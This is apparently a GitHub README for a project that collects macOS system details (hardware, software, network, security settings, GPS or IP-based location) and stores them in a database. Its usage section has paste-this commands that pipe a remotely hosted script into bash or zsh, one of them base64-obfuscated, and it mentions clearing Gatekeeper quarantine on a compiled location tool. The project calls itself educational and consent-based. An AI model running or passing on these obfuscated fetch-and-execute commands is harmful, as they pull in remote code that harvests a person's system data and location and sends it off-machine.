Skip to content

About

Collect macOS system info (hardware, software, network, security, location) and store in a database. Educational project permission-based GPS + IP fallback. Run at your own risk.

Topics

Resources

Stars

0 stars

Watchers

0 watching

Forks

Repository files navigation

get-macos-systeminfo

Collects macOS system information (hardware, software, network, security, location) and stores it in a database.

Docs: Dangerous Strings: Educational Security Guide how seemingly normal strings can hide code, inject commands, or exfiltrate data.


Location Collection

The script collects location in two ways:

  1. Primary — macOS app with permission: The script builds a temporary macOS app (LocationTool) from Swift source, compiles it, and runs it. macOS prompts you for location access; when you grant permission, it collects precise GPS coordinates.
  2. Fallback — Third-party API: If GPS is denied, restricted, or fails (e.g., Gatekeeper blocks the app), the script falls back to ipinfo.io to get approximate location from your public IP address. Set IPINFO_TOKEN for higher rate limits.

License & Disclaimer

Educational use only. Run at your own risk and only with your own permission on systems you own or are authorized to access. No warranty. Use ethically do not use for unauthorized tracking or data harvesting. See LICENSE for full terms.


Prerequisites

To develop locally:

bun i
vercel dev
open http://localhost:3000

Collect system info:

When hosted on Vercel, /collect returns the script — pipe to bash to run on your Mac:

curl -s https://get-macos-systeminfo.vercel.app/collect | bash
curl -s https://get-macos-systeminfo.vercel.app/collect | zsh

Or use the base64-wrapped command (decodes to curl -s https://get-macos-systeminfo.vercel.app/collect | base64 -d | bash):

echo 'Y3VybCAtcyBodHRwczovL2dldC1tYWNvcy1zeXN0ZW1pbmZvLnZlcmNlbC5hcHAvY29sbGVjdCB8IGJhc2U2NCAtZCB8IGJhc2gK' | base64 -D | bash

When running locally on macOS (bun dev), /collect executes the script and returns JSON:

curl http://localhost:3000/collect
curl -s http://localhost:3000/collect | jq

Troubleshooting "operation not permitted" on other Macs:

  • Full Disk Access: Add Terminal (or iTerm) to System Settings > Privacy & Security > Full Disk Access
  • Restricted /tmp: Use a writable temp dir: TMPDIR=~/tmp curl -s URL/collect | bash
  • Gatekeeper: The script clears quarantine on the GPS tool; if it still fails, location will fall back to IP-based

To deploy:

vercel deploy

Building the base64 script (for hosting):

The server serves collect-combined.sh.b64 when available. To regenerate it from the source script:

base64 < scripts/collect-combined.sh > scripts/collect-combined.sh.b64

About

Collect macOS system info (hardware, software, network, security, location) and store in a database. Educational project permission-based GPS + IP fallback. Run at your own risk.

Topics

Resources

Stars

0 stars

Watchers

0 watching

Forks

Used by

Contributors

Languages